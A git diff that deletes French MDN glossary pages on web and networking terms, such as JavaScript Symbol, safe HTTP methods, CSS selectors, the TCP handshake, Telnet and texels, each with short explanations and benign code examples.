Un script classique en {{glossary("JavaScript")}} ou {{glossary("PHP")}} (et autres langages similaires) comporte de nombreuses structures de contrôle, dont des conditions, des {{Glossary("Loop", "boucles")}} et des {{Glossary("Function", "fonctions")}}. Des portions de script peuvent aussi être amenées à être exécutées quand des {{Glossary("Event", "événements")}} se produisent.

- -

Par exemple, l'extrait de code ci-dessus peut être placé dans une fonction qui se lance quand l'utilisateur clique sur le bouton Submit du formulaire. La fonction peut aussi être intégrée dans une boucle qui parcourt tous les champs du formulaire pour les vérifier chacun à tour de rôle. En regardant à nouveau le code des sections if et else, les lignes demanderUtilisateur et envoyerForm peuvent également être des appels vers d'autres fonctions du script. Comme vous pouvez le voir, les structures de contrôle peuvent imposer des flux de traitement complexes même avec peu de lignes de code.

- -

Le contrôle de flux montre que lorsque vous lisez un script, vous ne devez pas seulement le lire du début à la fin, mais vous devez aussi regarder la structure du programme et voir comment cela affecte l'ordre d'exécution.

- -

Pour en savoir plus

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia","Structure_de_contrôle","Structure de contrôle")}} sur Wikipédia
    • -
- -

Référence technique

- - - -

Apprendre

- - diff --git "a/files/fr/glossaire/structure_de_donn\303\251es/index.html" "b/files/fr/glossaire/structure_de_donn\303\251es/index.html" deleted file mode 100644 index 3aef43bb8e..0000000000 --- "a/files/fr/glossaire/structure_de_donn\303\251es/index.html" +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: Structure de données -slug: Glossaire/Structure_de_données -tags: - - Structure de données -translation_of: Glossary/Data_structure ---- -

Une structure de données est une façon particulière d'organiser des données afin de pouvoir les utiliser efficacement.

- -

Pour approfondir

- -

En général

- -
    -
  • {{interwiki("wikipedia", "Structure_de_données", "Structure de données")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/stun/index.html b/files/fr/glossaire/stun/index.html deleted file mode 100644 index 9e381e802e..0000000000 --- a/files/fr/glossaire/stun/index.html +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: STUN -slug: Glossaire/STUN -tags: - - Glossaire - - Infrastructure - - STUN - - WebMechanics - - WebRTC -translation_of: Glossary/STUN ---- -

STUN (Session Traversal Utilities for NAT) est un protocole auxiliaire servant à transmettre des données dans un environnement avec du {{glossary("NAT")}} (Network Address Translator). STUN retourne l'{{glossary("IP address","adresse IP")}}, le {{glossary("port")}} et l'état de la connectivité d'un ordinateur en réseau derrière un NAT.

- -

Pour approfondir

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "Simple_Traversal_of_UDP_through_NATs", "STUN")}} sur Wikipédia
    • -
  • Protocoles WebRTC
    • -
- -

Référence technique

- - diff --git a/files/fr/glossaire/suite_de_chiffrement/index.html b/files/fr/glossaire/suite_de_chiffrement/index.html deleted file mode 100644 index 7ea59ef53c..0000000000 --- a/files/fr/glossaire/suite_de_chiffrement/index.html +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Suite de chiffrement -slug: Glossaire/suite_de_chiffrement -tags: - - Cryptographie - - Glossaire - - Sécurité -translation_of: Glossary/Cipher_suite ---- -

Une suite de chiffrement est un ensemble comprenant un algorithme d'échange de clefs, une méthode d'authentification, un {{glossary("Cipher","chiffre")}} et un code d'authentification des messages.

- -

Dans un {{glossary("cryptosystem","protocole de chiffrement")}} tel que {{glossary("TLS")}}, le client et le serveur doivent s'accorder sur une suite de chiffrement avant de pouvoir commencer à communiquer de manière sécurisée. Un exemple de suite de chiffrement peut être ECDHE_RSA_WITH_AES_128_GCM_SHA256 ou ECDHE-RSA-AES128-GCM-SHA256. Ces exemples indiquent : 

- -
    -
  • ECDHE (elliptic curve Diffie-Hellman ephemeral) pour l'échange de clefs
    • -
  • RSA pour l'authentification
    • -
  • AES-128 comme chiffre, avec Galois/Counter Mode (GCM) comme mode d'opération de chiffrement par bloc
    • -
  • SHA-256 comme code d'authentification des messages (HMAC)
    • -
- -

En apprendre plus

- - diff --git a/files/fr/glossaire/svg/index.html b/files/fr/glossaire/svg/index.html deleted file mode 100644 index 5cc1f8bbad..0000000000 --- a/files/fr/glossaire/svg/index.html +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: SVG -slug: Glossaire/SVG -tags: - - Débutant - - Encodage - - Glossaire - - Graphismes - - SVG -translation_of: Glossary/SVG ---- -

Scalable Vector Graphics (SVG) est un format d'image vectorielle 2D basé sur une syntaxe {{Glossary("XML")}}.

- -

Le {{Glossary("W3C")}} a commencé à travailler sur SVG à la fin des années 90, mais SVG n'est devenu populaire qu'avec la sortie d'{{Glossary("Microsoft Internet Explorer", "Internet Explorer")}} 9, supportant le SVG. Tous les principaux {{Glossary("navigateur","navigateurs")}} le prennent maintenant en charge.

- -

Basé sur une syntaxe {{Glossary("XML")}}, SVG peut être stylé avec {{Glossary("CSS")}} et être rendu interactif grâce à {{Glossary("JavaScript")}}. HTML5 permet à présent d'intégrer directement des {{Glossary("Balise","balises")}} SVG au sein d'un document {{Glossary("HTML")}}.

- -

SVG étant un format d'image vectorielle, les images SVG peuvent être redimensionnées à l'infini, ce qui les rend inestimables pour la {{Glossary("Responsive web design","conception web adaptative")}}, car elles permettent de créer des éléments d'interface qui s'adaptent à toutes les tailles d'écran. SVG fournit également un ensemble d'outils, comme du clipping, des masques, des filtres et des animations.

- -

Pour approfondir

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "SVG")}} sur Wikipédia
    • -
- -

Apprendre le SVG

- - - -

Informations techniques

- - diff --git a/files/fr/glossaire/svn/index.html b/files/fr/glossaire/svn/index.html deleted file mode 100644 index 855295d7b5..0000000000 --- a/files/fr/glossaire/svn/index.html +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: SVN -slug: Glossaire/SVN -tags: - - Collaboratif - - Glossaire - - SVN -translation_of: Glossary/SVN ---- -

SVN (pour Apache Subversion) est un logiciel libre de gestion du contrôle de système  ({{Glossary("SCM")}}). Il permet aux développeurs de conserver un historique des modifications de texte et de code. Bien que SVN puisse également gérer les fichiers binaires, nous ne vous recommandons pas de l'utiliser pour de tels fichiers.

- -

En apprendre plus

- -

Culture générale

- -
    -
  • Official website
    • -
  • {{Interwiki("wikipedia", "Apache_Subversion")}} on Wikipedia
    • -
- -

Apprendre sur ce sujet

- - diff --git a/files/fr/glossaire/symbole/index.html b/files/fr/glossaire/symbole/index.html deleted file mode 100644 index a20bbb206b..0000000000 --- a/files/fr/glossaire/symbole/index.html +++ /dev/null @@ -1,55 +0,0 @@ ---- -title: Symbole -slug: Glossaire/Symbole -tags: - - Glossaire - - JavaScript - - Partage -translation_of: Glossary/Symbol ---- -

Cette page de glossaire décrit à la fois un type de données, appelé "symbole", et la fonction de classe, appelée "{{jsxref ("Symbol","symbole")}}()", qui (entre autres) crée des instances du type de données symbole .

- -

Le type de données "symbol" est un type de données primitif dont la qualité est d'avoir des valeurs utilisables pour rendre les propriétés d'objets anonymes. Ce type de données est utilisé comme clé pour une propriété d'objet lorsque la propriété est destinée à être privée, pour l'utilisation interne d'une classe ou d'un type d'objet. Par exemple, les clés du symbole de type existent dans divers objets JavaScript intégrés. De même, les classes personnalisées peuvent créer des membres privés de cette façon. Le type de données de symbole est hautement spécialisé dans ce but, et remarquable pour son manque de polyvalence ; une instance de symbole peut être assignée à une valeur L, elle peut être contrôlée pour l'identité, et c'est tout; aucun autre opérateur ne s'applique. (Comparez ceci avec une instance de "Number", par exemple l'entier "42", qui a une panoplie d'opérateurs qui comparent ou combinent la valeur avec d'autres de son type.)

- -

Une valeur ayant le type de données "symbole" peut être appelée "valeur de symbole". Dans l'environnement d'exécution JavaScript, une valeur de symbole est créée en appelant la fonction Symbol (), qui produit de façon dynamique une valeur unique anonyme. La seule utilisation judicieuse est de stocker le symbole, puis d'utiliser la valeur stockée pour créer une propriété d'objet. L'exemple suivant stocke le symbole dans un "var".

- -
var  myPrivateMethod  = Symbol();
-this[myPrivateMethod] = function() {...};
- -

Lorsqu'une valeur de symbole est utilisée comme identifiant dans une affectation de propriété, la propriété (comme le symbole) est anonyme; et est également non dénombrable. Comme la propriété n'est pas énumérable, elle n'apparaîtra pas en tant que membre dans la construction de la boucle "for (... in ...)", et parce que la propriété est anonyme, elle n'apparaîtra pas dans le tableau des résultats de "Object.getOwnPropertyNames()". Vous pouvez accéder à la propriété en utilisant la valeur de symbole d'origine qui l'a créée ou en itérant sur le tableau de résultats de "Object.getOwnPropertySymbols()". Dans l'exemple de code précédent, l'accès à la propriété se fera via la valeur qui a été stockée dans la variable myPrivateMethod.

- -

La fonction intégrée "{{jsxref("Symbol")}}()" est une classe incomplète qui renvoie une valeur de symbole lorsqu'elle est appelée en tant que fonction, qui génère une erreur lors de tentatives d'utilisation en tant que constructeur avec la syntaxe "new Symbol() ", qui a des méthodes statiques pour accéder à la table globale de symboles de JavaScript, et qui a des propriétés statiques pour adresser certains symboles qui sont présents dans les objets couramment utilisés. La création de valeurs de symboles par la fonction Symbol() a été expliquée ci-dessus. Le lancement d'une erreur sur les tentatives d'utilisation de Symbol() en tant que constructeur est expliqué comme une précaution contre la création accidentelle d'un objet qui pourrait provoquer une confusion. Les méthodes qui accèdent au registre global de symboles sont "Symbol.for()" et "Symbol.keyFor()" ; celles-ci servent de médiateur entre la table globale de symboles (ou "registre") et l'environnement d'exécution. Le registre de symboles est principalement construit par l'infrastructure du compilateur JavaScript, et le contenu du registre de symboles n'est pas disponible pour l'infrastructure d'exécution de JavaScript, à l'exception de ces méthodes de réflexion. La méthode Symbol.for("tokenString") retourne une valeur de symbole du registre et Symbol.keyFor(symbolValue) renvoie une chaîne de signes du registre ; chacun est l'inverse de l'autre, donc ce qui suit est vrai :

- -
Symbol.keyFor(Symbol.for("tokenString"))=="tokenString";  // vrai
- -

La classe Symbol a certaines propriétés statiques qui, paradoxalement, nomment l'anonyme. Il n'y en a que quelques unes ; elles sont pour certaines soi-disant "bien connues" des symboles. Ce sont des symboles, pour certaines propriétés de méthode sélectionnées, qui se trouvent dans certains objets intégrés. L'exposition de ces symboles permet d'avoir un accès direct à ces comportements ; cet accès peut être utile, par exemple, dans la définition d'une classe personnalisée. Des exemples de symboles connus sont : "Symbol.iterator" pour les objets de type tableau, et "Symbol.search" pour les objets de type chaîne.

- -

La fonction Symbol() et les valeurs de symbole qu'elle crée peuvent être utiles aux programmeurs qui conçoivent une classe personnalisée. Les valeurs de symboles fournissent un moyen par lequel les classes personnalisées peuvent créer des membres privés et gérer un registre de symboles propre à cette classe. Une classe personnalisée peut utiliser des valeurs de symbole pour créer des propriétés "propres" qui sont protégées contre les découvertes accidentelles. Dans la définition de classe, la valeur de symbole créée dynamiquement est enregistrée dans une variable étendue, disponible uniquement en privé dans la définition de classe. Il n'y a pas de chaîne symbolique ; la variable portée joue le rôle équivalent d'un signe.

- -

Dans quelques langages de programmation, le type de donnée symbole est appelé un "atome".

- -

Symbol peut avoir une description facultative, mais à des fins de débogage uniquement.

- -

Le type symbole est une nouvelle fonctionnalité dans ECMAScript 2015 et il n'y a pas d'équivalent en ECMAScript 5.

- -
Symbol("foo") !== Symbol("foo")
-const foo = Symbol()
-const bar = Symbol()
-typeof foo === "symbol"
-typeof bar === "symbol"
-let obj = {}
-obj[foo] = "foo"
-obj[bar] = "bar"
-JSON.stringify(obj) // {}
-Object.keys(obj) // []
-Object.getOwnPropertyNames(obj) // []
-Object.getOwnPropertySymbols(obj) // [ Symbol(), Symbol() ]
- -

Pour approfondir

- -

Culture générale

- - diff --git a/files/fr/glossaire/synchronous/index.html b/files/fr/glossaire/synchronous/index.html deleted file mode 100644 index 8cbeb636a3..0000000000 --- a/files/fr/glossaire/synchronous/index.html +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Synchrone -slug: Glossaire/Synchronous -tags: - - Glossaire - - Mécanismes web - - Web -translation_of: Glossary/Synchronous ---- -

Synchrone fait référence à une communication en temps réel pendant laquelle chaque partie reçoit les messages (et, si nécessaire, les traite et y répond) dès que possible après qu'ils aient été envoyés.

- -

Un exemple humain est le téléphone : au cours d'un appel téléphonique vous avez tendance à répondre à la personne immédiatement.

- -

De nombreuses commandes de programmation sont synchrones, par exemple quand vous tapez un calcul, l'environnement vous retourne le résultat immédiatement, à moins que vous ne spécifiiez expressément de ne pas le faire.

- -

Pour approfondir

- -

Référence technique

- - diff --git a/files/fr/glossaire/syntax_error/index.html b/files/fr/glossaire/syntax_error/index.html deleted file mode 100644 index 745f05a1e0..0000000000 --- a/files/fr/glossaire/syntax_error/index.html +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Erreur de syntaxe -slug: Glossaire/Syntax_error -tags: - - CodingScripting - - Glossaire -translation_of: Glossary/Syntax_error ---- -

Une {{Glossary("exception")}} provoquée par l'usage incorrect d'une {{Glossary("syntaxe")}} prédéfinie. Les erreurs de syntaxe sont détectées au cours de la compilation ou de l'interprétation du code source. Par exemple, si vous oubliez de fermer une accolade (}) lors de la définition d'une fonction {{Glossary("JavaScript")}}, vous déclencherez une erreur de syntaxe. Les outils de développement des navigateurs affichent les erreurs de syntaxe {{Glossary("JavaScript")}} et {{Glossary("CSS")}} dans la console.

- -

Pour approfondir

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "Syntaxe")}} sur Wikipédia
    • -
  • {{jsxref("SyntaxError")}} objet JavaScript
    • -
diff --git a/files/fr/glossaire/syntaxe/index.html b/files/fr/glossaire/syntaxe/index.html deleted file mode 100644 index e4dad27015..0000000000 --- a/files/fr/glossaire/syntaxe/index.html +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Syntaxe -slug: Glossaire/Syntaxe -tags: - - Encodage - - Glossaire - - Syntaxe -translation_of: Glossary/Syntax ---- -

La syntaxe définit les séquences et combinaisons de {{Glossary("Character","caractères")}} requises pour créer du code correctement structuré. La syntaxe diffère d'un langage à l'autre (e.g., la syntaxe est différente en {{Glossary("HTML")}} et en {{Glossary("JavaScript")}}). La syntaxe s'applique à la fois aux langages de programmation (commandes données à l'ordinateur) et aux langages de balisage (informations sur la structure de documents).

- -

La syntaxe ne gouverne que la structure et l'odre des instructions ; ces  dernières doivent aussi avoir une signification, ce qui est le domaine de la {{Glossary("Semantics","sémantique")}}.

- -

La syntaxe du code doit être correcte pour qu'il puisse être {{Glossary("Compile","compilé")}}, dans le cas contraire, une {{Glossary("Syntax error","erreur de syntaxe")}} se produit. Même de petites erreurs, comme une parenthèse manquante, peut faire échouer la compilation du code source.

- -

Les frameworks sont considérés comme ayant une syntaxe "propre" s'ils produisent des résultats simples, lisibles et concis. Si un codebase utilise "beaucoup de syntaxe", il nécessitera davantage de caractères pour arriver aux mêmes fonctionnalités.

- -

Pour approfondir

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "Syntaxe")}} sur Wikipédia
    • -
diff --git "a/files/fr/glossaire/s\303\251curis\303\251e/index.html" "b/files/fr/glossaire/s\303\251curis\303\251e/index.html" deleted file mode 100644 index cfab50bcff..0000000000 --- "a/files/fr/glossaire/s\303\251curis\303\251e/index.html" +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: Sécurisée -slug: Glossaire/sécurisée -tags: - - Glossaire - - Mécanismes web - - Sécurité -translation_of: Glossary/safe ---- -

Une méthode HTTP est sécurisée (safe) si elle ne modifie pas l'état du serveur. En d'autres termes, une méthode est sécurisée si elle conduit à une opération en lecture seule. Plusieurs méthodes HTTP courantes sont sécurisées : {{HTTPMethod("GET")}}, {{HTTPMethod("HEAD")}} ou {{HTTPMethod("OPTIONS")}}. Toutes les méthodes sécurisées sont aussi {{glossary("idempotent","idempotentes")}} ainsi que certaines méthodes non sécurisées comme {{HTTPMethod("PUT")}} ou {{HTTPMethod("DELETE")}}.

- -

Même si les méthodes sécurisées ont une sémantique en lecture seule, les serveurs peuvent modifier leur état : par exemple, ils peuvent se connecter ou garder des statistiques. Ce qui est important ici, c'est qu'en appelant une méthode sécurisée, le client ne demande pas de changement du serveur lui-même et, par conséquent, ne créera pas de téléchargement ou de chargement inutile pour le serveur. Les navigateurs peuvent appeler des méthodes sécurisées sans craindre de causer des dommages au serveur : cela leur permet d'effectuer des activités comme la pré-extraction sans risque. Les robots d'exploration web s'appuient également sur l'appel de méthodes sécurisées.

- -

Les méthodes sécurisées n'ont pas besoin de servir uniquement des fichiers statiques ; un serveur peut générer une réponse à une méthode sécurisée à la volée, à condition que le script de génération garantisse la sécurité : il ne doit pas déclencher d'effets externes, comme le lancement d'une commande sur un site web de commerce électronique.

- -

Il est de la responsabilité de l'application sur le serveur d'implémenter la sémantique sécurisée correctement, le serveur web, Apache, nginx ou IIS, ne peuvent pas l'appliquer eux-mêmes. En particulier, une application ne doit pas autoriser les demandes {{HTTPMethod("GET")}} à modifier son état.

- -

Un appel à une méthode sécurisée ne modifiant pas l'état du serveur :

- -
GET /pageX.html HTTP/1.1
-
- -

Un appel à une méthode non sécurisée, susceptible de modifier l'état du serveur :

- -
POST /pageX.html HTTP/1.1
- -

Un appel à une méthode idempotente mais non sûre :

- -
DELETE /idX/delete HTTP/1.1
- -

En apprendre plus

- -

Culture générale

- -
    -
  • Définition de safe (sécurisé) dans la spécification HTTP.
    • -
- -

Technical knowledge

- -
    -
  • Description de méthodes sécurisées courantes : {{HTTPMethod("GET")}}, {{HTTPMethod("HEAD")}}, {{HTTPMethod("OPTIONS")}}
    • -
  • Description de méthodes non sécurisées courantes : {{HTTPMethod("PUT")}}, {{HTTPMethod("DELETE")}}, {{HTTPMethod("POST")}}
    • -
diff --git "a/files/fr/glossaire/s\303\251lecteur_css/index.html" "b/files/fr/glossaire/s\303\251lecteur_css/index.html" deleted file mode 100644 index ef01f56000..0000000000 --- "a/files/fr/glossaire/s\303\251lecteur_css/index.html" +++ /dev/null @@ -1,85 +0,0 @@ ---- -title: Sélecteur CSS -slug: Glossaire/Sélecteur_CSS -tags: - - CSS - - Glossaire - - HTML - - Programmation - - Sélecteur - - Sélecteur CSS -translation_of: Glossary/CSS_Selector ---- -

Un sélecteur CSS est la partie de la règle CSS qui désigne les éléments d'un document concernés par la règle. Les éléments correspondants auront le style spécifié par la règle qui leur est appliqué.

- -

Considérez ce code CSS :

- -
p {
-  color: green;
-}
-
-div.warning {
-  width: 100%;
-  border: 2px solid yellow;
-  color: white;
-  background-color: darkred;
-  padding:  0.8em 0.8em 0.6em;
-}
-
-#customized {
-  font: 16px Lucida Grande, Arial, Helvetica, sans-serif;
-}
- -

Les sélecteurs sont ici "p" (qui applique la couleur verte au texte de tout élément {{HTMLElement ("p")}}), "div.warning" (qui fait que tout élément {{HTMLElement ("div")}} appartenant à la {{Glossary ("Class", "classe CSS")}} "warning" ressemble à une boîte d'avertissement) et "#customized", qui définit la police de base de l'élément avec l'ID "customized" à 16 -pixel Lucida Grande ou l'une des polices de secours.

- -

Nous pouvons ensuite appliquer ce CSS à du HTML, tel que :

- -
<p>This is happy text.</p>
-
-<div class="warning">
-  Be careful! There are wizards present, and they are quick to anger!
-</div>
-
-<div id="customized">
-  <p>This is happy text.</p>
-
-  <div class="warning">
-    Be careful! There are wizards present, and they are quick to anger!
-  </div>
-</div>
- -

Le contenu de la page résultant ressemble à ceci:

- -

{{EmbedLiveSample("glossary-selector-details", 640, 210)}}

- -

Pour approfondir

- -

Culture générale

- - - -

Référence technique

- -

{{SpecName("CSS3 Selectors")}}

diff --git "a/files/fr/glossaire/s\303\251mantique/index.html" "b/files/fr/glossaire/s\303\251mantique/index.html" deleted file mode 100644 index 9fd72fc006..0000000000 --- "a/files/fr/glossaire/s\303\251mantique/index.html" +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: Sémantique -slug: Glossaire/Sémantique -tags: - - Glossaire - - HTML - - Programmation - - sémantique -translation_of: Glossary/Semantics ---- -

En programmation, la sémantique fait référence au sens d'une partie de code — par exemple "quel effet aura l'exécution de cette ligne de JavaScript ?", ou "quel est le rôle ou le but de cet élément HTML" (plutôt que "à quoi ressemble-t-il ?".)

- -

Par exemple, l'élément {{htmlelement("h1")}} est un élément sémantique qui donne au texte qu'il contient le rôle (ou le sens) de "titre de premier niveau de votre page."

- -
<h1>Ceci est un titre de premier niveau</h1>
- -

Par défaut, il se verra attribué une police de caractères plus grande pour le faire ressembler à un titre (bien que vous puissiez lui appliquer un style pour qu'il ressemble à tout ce que vous voulez), mais, plus important, sa valeur sémantique sera utilisée de différentes façons ; par exemple, les moteurs de recherche considéreront son contenu comme des mots-clés importants qui seront pris en compte pour classer les résultats de recherche (voir {{glossary("SEO")}}), et les lecteurs d'écran peuvent l'utiliser comme un indicateur pour aider les utilisateurs déficients visuels à naviguer sur la page.

- -

Par ailleurs, vous pouvez faire ressembler n'importe quel élément à un titre de premier niveau. Considérons le code suivant :

- -
<span style="font-size: 32px; margin: 21px 0;">Est-ce un titre de premier niveau ?</span>
- -

Cela sera affiché comme un titre de premier niveau mais sans en avoir la valeur sémantique, il n'y aura donc aucun des bénéfices supplémentaires tels que ceux décrits ci-dessus. Il vaut donc mieux utiliser l'élément HTML correct pour la tâche recherchée.

- -

Les éléments sémantiques

- -

Ce sont quelques-uns des éléments sémantiques (source) .

- -
    -
  • {{htmlelement("article")}}
    • -
  • {{htmlelement("aside")}}
    • -
  • {{htmlelement("details")}}
    • -
  • {{htmlelement("figcaption")}}
    • -
  • {{htmlelement("figure")}}
    • -
  • {{htmlelement("footer")}}
    • -
  • {{htmlelement("header")}}
    • -
  • {{htmlelement("main")}}
    • -
  • {{htmlelement("mark")}}
    • -
  • {{htmlelement("nav")}}
    • -
  • {{htmlelement("section")}}
    • -
  • {{htmlelement("summary")}}
    • -
  • {{htmlelement("time")}}
    • -
- -

Pour approfondir

- -

Culture générale

- - diff --git "a/files/fr/glossaire/s\303\251rialisation/index.html" "b/files/fr/glossaire/s\303\251rialisation/index.html" deleted file mode 100644 index f98873d1e8..0000000000 --- "a/files/fr/glossaire/s\303\251rialisation/index.html" +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Sérialisation -slug: Glossaire/Sérialisation -tags: - - CSS - - Encodage - - Glossaire - - JavaScript - - Sérialisation -translation_of: Glossary/Serialization ---- -

Le processus par lequel un objet ou une structure de données est traduit dans un format approprié pour un transfert sur un réseau, ou un stockage (par exemple dans un tampon de tableau ou un format de fichier).

- -

Dans {{Glossary("JavaScript")}}, par exemple, vous pouvez sérialiser un objet d'une {{Glossary("string","chaîne de caractères")}} {{Glossary("JSON")}} par appel de la {{Glossary("function","fonction")}} {{jsxref("JSON.stringify()")}}.

- -

Les valeurs de {{Glossary("CSS")}} sont sérialisées par appel de la fonction {{domxref("CSSStyleDeclaration.getPropertyValue()")}}.

- -

En apprendre plus

- -

Culture générale

- - diff --git a/files/fr/glossaire/tampon/index.html b/files/fr/glossaire/tampon/index.html deleted file mode 100644 index 50292d0b87..0000000000 --- a/files/fr/glossaire/tampon/index.html +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Tampon -slug: Glossaire/Tampon -tags: - - Glossaire - - Stockage temporaire -translation_of: Glossary/buffer ---- -

Un tampon est un stockage dans la mémoire physique utilisé pour stocker temporairement des données pendant leur transfert d'un endroit à un autre.

- -

En apprendre plus

- -

Culture générale

- - diff --git a/files/fr/glossaire/tcp/index.html b/files/fr/glossaire/tcp/index.html deleted file mode 100644 index 35b07fb4a8..0000000000 --- a/files/fr/glossaire/tcp/index.html +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: TCP -slug: Glossaire/TCP -translation_of: Glossary/TCP ---- -

TCP (transmission control protocol) est un protocole réseau qui permet à deux hôtes de se connecter et d'échanger des données. Le protocole TCP garantit la distribution des données et paquets dans l'ordre où ils ont été envoyés. Vint Cerf et Bob Kahn, scientifiques du DARPA, ont imaginé TCP dans les années 70.

- -

Pour en savoir plus

- -

Connaissances générales

- -
    -
  • {{Interwiki("wikipedia", "Transmission Control Protocol")}} sur Wikipedia
    • -
diff --git a/files/fr/glossaire/tcp_handshake/index.html b/files/fr/glossaire/tcp_handshake/index.html deleted file mode 100644 index e48791d681..0000000000 --- a/files/fr/glossaire/tcp_handshake/index.html +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Liaison à trois voies -slug: Glossaire/TCP_handshake -tags: - - TCP -translation_of: Glossary/TCP_handshake ---- -

{{glossary('Transmission_Control_Protocol_(TCP)','TCP (Transmission Control Protocol)')}} est un protocole hôte à hôte de la couche transport permettant la communication en mode connexion entre deux ordinateurs sur un réseau IP. TCP utilise une liaison à trois voies (ou TCP-Handshake, trois messages ou SYN-SYN-ACK) pour établir une connexion TCP / IP sur un réseau IP: SYN pour synchronize et ACK pour acuittement. Les trois messages transmis par TCP pour négocier et démarrer une session TCP sont respectivement surnommés SYN, SYN-ACK et ACK: synchronize, synchronize acquittement, et acquittement. Le mécanisme à trois messages est conçu pour que deux ordinateurs souhaitant échanger des informations puissent négocier les paramètres de la connexion avant de transmettre des données telles que des requêtes de navigateur HTTP.

- -

L'hôte, généralement le navigateur, envoie un paquet TCP SYNchronize au serveur. Le serveur reçoit le SYN et renvoie un accusé de réception SYNchronize. L'hôte reçoit le SYN-ACK du serveur et envoie un acquittement. Le serveur reçoit ACK et la connexion de socket TCP est établie.

- -

Cette étape de négociation se produit après une {{glossary('DNS', 'recherche DNS')}} et avant la négociation {{glossary('TLS')}}, lors de la création d'une connexion sécurisée. La connexion peut être terminée indépendamment de chaque côté de la connexion via une liaison à quatre voies.

- -

Voire aussi

- - diff --git a/files/fr/glossaire/tcp_slow_start/index.html b/files/fr/glossaire/tcp_slow_start/index.html deleted file mode 100644 index 8d37c82c4f..0000000000 --- a/files/fr/glossaire/tcp_slow_start/index.html +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: TCP slow start -slug: Glossaire/TCP_slow_start -tags: - - Performance - - Performance Web - - TCP -translation_of: Glossary/TCP_slow_start ---- -

Le démarrage lent, ou TCP slow start, permet d’accumulez la vitesse de transmission des capacités du réseau sans savoir initialement quelles sont ces capacités et sans créer de congestion. {{glossary('TCP')}} slow start est un algorithme utilisé pour détecter la bande passante disponible pour la transmission par paquets. Il empêche l’apparition d’une congestion du réseau dont les capacités sont initialement inconnues.

- -

Pour implémenter un démarrage lent de TCP, la fenêtre d’encombrement (cwnd) fixe une limite supérieure à la quantité de données qu’une source peut transmettre sur le réseau avant de recevoir un accusé de réception (ACK). Le seuil de démarrage lent (ssthresh) détermine l'activation / désactivation du démarrage lent. Quand une nouvelle connexion est établie, cwnd est initialisé à un paquet de données ou d'accusé de réception TCP et attend un accusé de réception ou ACK. Lorsque cet ACK est reçu, la fenêtre d'encombrement est incrémentée jusqu'à ce que la valeur de cwnd soit inférieure à ssthresh. Le démarrage lent se termine également en cas de congestion.

- -

Contrôle congestion

- -

Lorsque le serveur envoie des données dans des paquets TCP, le client de l'utilisateur confirme la livraison en renvoyant des accusés de réception, ou ACK. La connexion a une capacité limitée en fonction des conditions matérielles et du réseau. Si le serveur envoie trop de paquets trop rapidement, ils seront supprimés. Cela veut dire, il n'y aura pas de reconnaissance. Le serveur l'enregistre comme ACK manquant. Les algorithmes de contrôle d'encombrement utilisent ce flux de paquets envoyés et d'accusés de réception pour déterminer un débit d'envoi.

- -

Voir aussi

- - diff --git a/files/fr/glossaire/telnet/index.html b/files/fr/glossaire/telnet/index.html deleted file mode 100644 index 5d924b4b37..0000000000 --- a/files/fr/glossaire/telnet/index.html +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: Telnet -slug: Glossaire/Telnet -tags: - - Glossaire - - Infrastructure -translation_of: Glossary/Telnet ---- -

Telnet est un outil en ligne de commandes et un protocole basé sur TCP/IP pour accéder à des ordinateurs distants.

- -

Plus d'informations

- -
    -
  • {{interwiki('wikipedia','Telnet')}} sur Wikipédia
    • -
diff --git "a/files/fr/glossaire/test_de_fum\303\251e/index.html" "b/files/fr/glossaire/test_de_fum\303\251e/index.html" deleted file mode 100644 index 0d467c2700..0000000000 --- "a/files/fr/glossaire/test_de_fum\303\251e/index.html" +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: Test de fumée -slug: Glossaire/Test_de_fumée -tags: - - Glossaire - - tests -translation_of: Glossary/Smoke_Test ---- -

Un test de fumée (Smoke test) consiste en des tests fonctionnels ou unitaires de fonctions logicielles critiques. Les tests de fumée viennent avant d'autres tests approfondis.

- -

Un test de fumée répond aux questions comme :

- -
    -
  • "Est-ce que le programme démarre correctement ?"
    • -
  • "Est-ce que les boutons de contrôle principaux fonctionnent ?"
    • -
  • "Pouvez-vous enregistrer un nouveau compte d'utilisateur de test vierge ?"
    • -
- -

Si cette fonctionnalité de base échoue, il est inutile d'investir du temps dans un travail plus détaillé à ce stade.

- -

En apprendre plus

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "Smoke testing (software)")}} sur Wikipedia (en)
    • -
diff --git a/files/fr/glossaire/texel/index.html b/files/fr/glossaire/texel/index.html deleted file mode 100644 index 375d33d393..0000000000 --- a/files/fr/glossaire/texel/index.html +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: Texel -slug: Glossaire/Texel -tags: - - 3D - - Glossaire - - Texel - - Texture - - dessin - - graphique -translation_of: Glossary/Texel ---- -

Un Texel est un pixel unique dans une carte de texture, qui est une image qui est utilisée (en tout ou en partie) comme image présentée sur la surface d'un polygone dans une image rendue en part) 3D. Il ne doit pas être confondu avec le pixel qui est l'unité d'espace de l'écran. C'est l'une des principales différences entre Texel et pixels, les pixels sont des données d'image. Les composants Texel sont constitués de données subjecives, ils peuvent donc être une image aussi bien qu'une carte de profondeur.

- -

Le processus de mappage des Texel appropriés à leurs points correspondants sur un polygone est appelé texture mapping, qui est une étape du processus de rendu d'une image 3D pour l'affichage. Le texture mapping est généralement effectué avant d'éclairer la scène; cependant, dans WebGL, l'éclairage est effectué dans le cadre du processus de texture mapping.

- -

